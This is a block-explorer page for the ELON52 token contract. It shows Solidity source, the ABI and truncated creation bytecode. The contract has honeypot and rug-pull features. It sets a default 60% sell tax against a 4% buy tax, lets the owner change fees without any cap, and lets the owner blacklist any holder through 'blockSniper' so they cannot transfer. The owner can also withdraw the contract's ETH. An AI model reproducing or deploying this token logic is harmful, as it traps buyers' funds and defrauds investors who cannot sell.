Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 ELON52
Holders
77
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.258271963550491033 ELON52Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ELON52
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-27 */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** This function will be used to generate the total supply * while deploying the contract * * This function can never be called again after deploying contract */ function _tokengeneration(address account, uint256 amount) internal virtual { _totalSupply = amount; _balances[account] = amount; emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } library Address { function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ELON52 is ERC20, Ownable { using Address for address payable; IRouter public router; address public pair; bool private _interlock = false; bool private providingLiquidity = true; bool public tradingEnabled = false; uint256 public tokenLiquidityThreshold = 1000000 * 10**18; // 0.1% uint256 public MaxTxAmount = 20000000 * 10**18; // 1% uint256 public MaxWalletSize = 20000000 * 10**18; // 1% address public marketingWallet = 0xd38b76412B05b2315ecDAcEF060274B306C253c6; address public constant deadWallet = 0x000000000000000000000000000000000000dEaD; struct Taxes { uint256 marketing; uint256 liquidity; } Taxes private taxes = Taxes(4, 0); Taxes private sellTaxes = Taxes(60, 0); uint256 public BuyTaxes = taxes.marketing + taxes.liquidity; uint256 public SellTaxes = sellTaxes.marketing + sellTaxes.liquidity; mapping(address => bool) public exemptFee; mapping(address => bool) private isearlybuyer; event MaxTxUpdated(uint256 MaxWalletSize, uint256 MaxTxAmount); event BuyTaxesUpdated(uint256 marketing, uint256 liquidity); event SellTaxesUpdated(uint256 marketing, uint256 liquidity); modifier lockTheSwap() { if (!_interlock) { _interlock = true; _; _interlock = false; } } constructor() ERC20("ELON52", "ELON52") { _tokengeneration(msg.sender, 1000000000 * 10**decimals()); IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this),_router.WETH()); router = _router; pair = _pair; exemptFee[msg.sender] = true; exemptFee[address(this)] = true; exemptFee[marketingWallet] = true; exemptFee[deadWallet] = true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public override returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public override returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue,"ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal override { require(amount > 0, "Transfer amount must be greater than zero"); require(!isearlybuyer[sender] && !isearlybuyer[recipient], "You can't transfer tokens" ); if (!exemptFee[sender] && !exemptFee[recipient]) { require(tradingEnabled, "Trading not enabled"); } if (sender == pair && recipient != address(router) && !exemptFee[recipient] ) { require(amount <= MaxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(recipient) + amount <= MaxWalletSize, "Exceeds the maxWalletSize."); } uint256 feeswap; uint256 feesum; uint256 fee; Taxes memory currentTaxes; //set fee to zero if fees in contract are handled or exempted if (_interlock || exemptFee[sender] || exemptFee[recipient]) fee = 0; //calculate fee else if (recipient == pair) { feeswap = sellTaxes.liquidity + sellTaxes.marketing; feesum = feeswap; currentTaxes = sellTaxes; } else if (recipient != pair) { feeswap = taxes.liquidity + taxes.marketing; feesum = feeswap; currentTaxes = taxes; } fee = (amount * feesum) / 100; //send fees if threshold has been reached //don't do this on buys, breaks swap if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes); //rest to recipient super._transfer(sender, recipient, amount - fee); if (fee > 0) { //send the fee to the contract if (feeswap > 0) { uint256 feeAmount = (amount * feeswap) / 100; super._transfer(sender, address(this), feeAmount); } } } function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap { if (feeswap == 0) { return; } uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= tokenLiquidityThreshold) { if (tokenLiquidityThreshold > 1) { contractBalance = tokenLiquidityThreshold; } // Split the contract balance into halves uint256 denominator = feeswap * 2; uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity); uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity; if (ethToAddLiquidityWith > 0) { // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing; if (marketingAmt > 0) { payable(marketingWallet).sendValue(marketingAmt); } } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadWallet, block.timestamp ); } function updateLiquidityProvide(bool state) external onlyOwner { providingLiquidity = state; } function setLiquidityTreshhold(uint256 new_amount) external onlyOwner { require(new_amount <= 1000000,"Swap threshold amount should be lower or equal to 1% of tokens"); tokenLiquidityThreshold = new_amount * 10**decimals(); } function updateBuyFee( uint256 _marketing, uint256 _liquidity) external onlyOwner { taxes.marketing = _marketing; taxes.liquidity = _liquidity; emit BuyTaxesUpdated(_marketing, _liquidity); } function updateSellFee( uint256 _marketing, uint256 _liquidity) external onlyOwner { sellTaxes.marketing = _marketing; sellTaxes.liquidity = _liquidity; emit SellTaxesUpdated(_marketing, _liquidity); } function setMaxTxLimit(uint256 _maxWallet, uint256 _maxTx) external onlyOwner { MaxWalletSize = _maxWallet * 10**decimals(); MaxTxAmount = _maxTx * 10**decimals(); require (_maxWallet >= 1000000, "Cannot set MaxWallet amount lower then 0.1%"); require (_maxTx >= 1000000, "Cannot set MaxTx amount lower then 0.1%"); emit MaxTxUpdated(_maxWallet, _maxTx); } function enableTrading() external onlyOwner { require(!tradingEnabled, "Cannot re-enable trading"); tradingEnabled = true; } function setMarketingWallet(address newWallet) external onlyOwner { require(newWallet != address(0), "Fee Address cannot be zero address"); require(newWallet != address(this), "Fee Address cannot be CA"); exemptFee[newWallet] = true; marketingWallet = newWallet; } function multiBlockSniper(address[] memory accounts, bool state) external onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { isearlybuyer[accounts[i]] = state; } } function blockSniper(address account, bool state) external onlyOwner { isearlybuyer[account] = state; } function excludeFromFee(address _address) external onlyOwner { exemptFee[_address] = true; } function includeInFee(address _address) external onlyOwner { exemptFee[_address] = false; } function rescueEHT() external onlyOwner { uint256 contractETHBalance = address(this).balance; payable(owner()).transfer(contractETHBalance); } function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner { require(tokenAdd != address(this), "Owner can't claim contract's balance of its own tokens"); IERC20(tokenAdd).transfer(owner(), amount); } // fallbacks receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"marketing","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"}],"name":"BuyTaxesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"MaxWalletSize","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"MaxTxAmount","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"marketing","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"}],"name":"SellTaxesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MaxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MaxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"blockSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"multiBlockSniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEHT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWallet","type":"uint256"},{"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"setMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"updateBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"updateSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506000600760166101000a81548160ff02191690831515021790555069d3c21bcecceda10000006008556a108b2a2c280290940000006009556a108b2a2c28029094000000600a5573d38b76412b05b2315ecdacef060274b306c253c6600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600481526020016000815250600c600082015181600001556020820151816001015550506040518060400160405280603c81526020016000815250600e60008201518160000155602082015181600101555050600c60010154600c600001546200014c9190620007c0565b601055600e60010154600e60000154620001679190620007c0565b6011553480156200017757600080fd5b506040518060400160405280600681526020017f454c4f4e353200000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f454c4f4e353200000000000000000000000000000000000000000000000000008152508160039081620001f5919062000a6b565b50806004908162000207919062000a6b565b5050506200022a6200021e620005fa60201b60201c565b6200060260201b60201c565b6200026a336200023f620006c860201b60201c565b600a6200024d919062000cb3565b633b9aca006200025e919062000d04565b620006d160201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f7919062000db9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200035f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000385919062000db9565b6040518363ffffffff1660e01b8152600401620003a492919062000dfc565b6020604051808303816000875af1158015620003c4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ea919062000db9565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160126000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016012600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000e57565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b80600281905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200077b919062000e3a565b60405180910390a35050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007cd8262000787565b9150620007da8362000787565b9250828201905080821115620007f557620007f462000791565b5b92915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087d57607f821691505b60208210810362000893576200089262000835565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008be565b620009098683620008be565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200094c62000946620009408462000787565b62000921565b62000787565b9050919050565b6000819050919050565b62000968836200092b565b62000980620009778262000953565b848454620008cb565b825550505050565b600090565b6200099762000988565b620009a48184846200095d565b505050565b5b81811015620009cc57620009c06000826200098d565b600181019050620009aa565b5050565b601f82111562000a1b57620009e58162000899565b620009f084620008ae565b8101602085101562000a00578190505b62000a1862000a0f85620008ae565b830182620009a9565b50505b505050565b600082821c905092915050565b600062000a406000198460080262000a20565b1980831691505092915050565b600062000a5b838362000a2d565b9150826002028217905092915050565b62000a7682620007fb565b67ffffffffffffffff81111562000a925762000a9162000806565b5b62000a9e825462000864565b62000aab828285620009d0565b600060209050601f83116001811462000ae3576000841562000ace578287015190505b62000ada858262000a4d565b86555062000b4a565b601f19841662000af38662000899565b60005b8281101562000b1d5784890151825560018201915060208501945060208101905062000af6565b8683101562000b3d578489015162000b39601f89168262000a2d565b8355505b6001600288020188555050505b505050505050565b60008160011c9050919050565b6000808291508390505b600185111562000bb15780860481111562000b895762000b8862000791565b5b600185161562000b995780820291505b808102905062000ba98562000b52565b945062000b69565b94509492505050565b60008262000bcc576001905062000c9f565b8162000bdc576000905062000c9f565b816001811462000bf5576002811462000c005762000c36565b600191505062000c9f565b60ff84111562000c155762000c1462000791565b5b8360020a91508482111562000c2f5762000c2e62000791565b5b5062000c9f565b5060208310610133831016604e8410600b841016171562000c705782820a90508381111562000c6a5762000c6962000791565b5b62000c9f565b62000c7f848484600162000b5f565b9250905081840481111562000c995762000c9862000791565b5b81810290505b9392505050565b600060ff82169050919050565b600062000cc08262000787565b915062000ccd8362000ca6565b925062000cfc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bba565b905092915050565b600062000d118262000787565b915062000d1e8362000787565b925082820262000d2e8162000787565b9150828204841483151762000d485762000d4762000791565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000d818262000d54565b9050919050565b62000d938162000d74565b811462000d9f57600080fd5b50565b60008151905062000db38162000d88565b92915050565b60006020828403121562000dd25762000dd162000d4f565b5b600062000de28482850162000da2565b91505092915050565b62000df68162000d74565b82525050565b600060408201905062000e13600083018562000deb565b62000e22602083018462000deb565b9392505050565b62000e348162000787565b82525050565b600060208201905062000e51600083018462000e29565b92915050565b6148418062000e676000396000f3fe6080604052600436106102295760003560e01c80638a8c523c11610123578063ad3026e4116100ab578063e0eb9cb31161006f578063e0eb9cb314610800578063ea2f0b371461082b578063f2fde38b14610854578063f887ea401461087d578063fc962edb146108a857610230565b8063ad3026e414610709578063beffc7d414610732578063c5d32bb21461075b578063d256413e14610798578063dd62ed3e146107c357610230565b8063a1e71b57116100f2578063a1e71b5714610624578063a40f0ce71461064d578063a457c2d714610664578063a8aa1b31146106a1578063a9059cbb146106cc57610230565b80638a8c523c1461058e5780638cd4426d146105a55780638da5cb5b146105ce57806395d89b41146105f957610230565b806339509351116101b1578063610e34b911610175578063610e34b9146104bb57806370a08231146104e4578063715018a61461052157806375f0a8741461053857806385141a771461056357610230565b806339509351146103d8578063437823ec146104155780634ada218b1461043e5780635ae34339146104695780635d098b381461049257610230565b80631675d802116101f85780631675d802146102ef57806318160ddd1461031a57806323b872dd1461034557806329b8cff314610382578063313ce567146103ad57610230565b80630546d67b1461023557806306fdde031461025e578063095ea7b3146102895780631340538f146102c657610230565b3661023057005b600080fd5b34801561024157600080fd5b5061025c60048036038101906102579190612f62565b6108d3565b005b34801561026a57600080fd5b506102736109bd565b604051610280919061301f565b60405180910390f35b34801561029557600080fd5b506102b060048036038101906102ab919061309f565b610a4f565b6040516102bd91906130fa565b60405180910390f35b3480156102d257600080fd5b506102ed60048036038101906102e89190613141565b610a6d565b005b3480156102fb57600080fd5b50610304610b06565b604051610311919061317d565b60405180910390f35b34801561032657600080fd5b5061032f610b0c565b60405161033c919061317d565b60405180910390f35b34801561035157600080fd5b5061036c60048036038101906103679190613198565b610b16565b60405161037991906130fa565b60405180910390f35b34801561038e57600080fd5b50610397610c17565b6040516103a4919061317d565b60405180910390f35b3480156103b957600080fd5b506103c